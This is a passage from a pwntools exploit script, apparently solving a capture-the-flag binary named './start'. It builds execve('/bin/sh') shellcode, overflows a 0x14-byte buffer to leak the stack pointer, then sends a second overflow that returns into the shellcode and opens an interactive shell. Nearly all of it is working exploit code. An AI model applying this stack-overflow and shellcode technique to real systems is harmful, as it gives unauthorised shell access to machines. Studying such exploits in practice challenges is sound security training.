'push %d' % u32('/sh\0'),
'push %d' % u32('/bin'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 0xb',
'int 0x80',
]))
"""
shell_code = b'h/sh\x00h/bin1\xd21\xc9\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80'
r = process("./start")
print(r.recvuntil(":"))
r.send(b'A'*0x14 + p32(0x08048087))
esp = u32(r.recv(4))
print("esp: ", esp, hex(esp))
r.send(b"B"*0x14 + p32(esp + 0x14) + shell_code)
#r.sendline(b"B"*0x14 + p32(0x804809d))
r.interactive()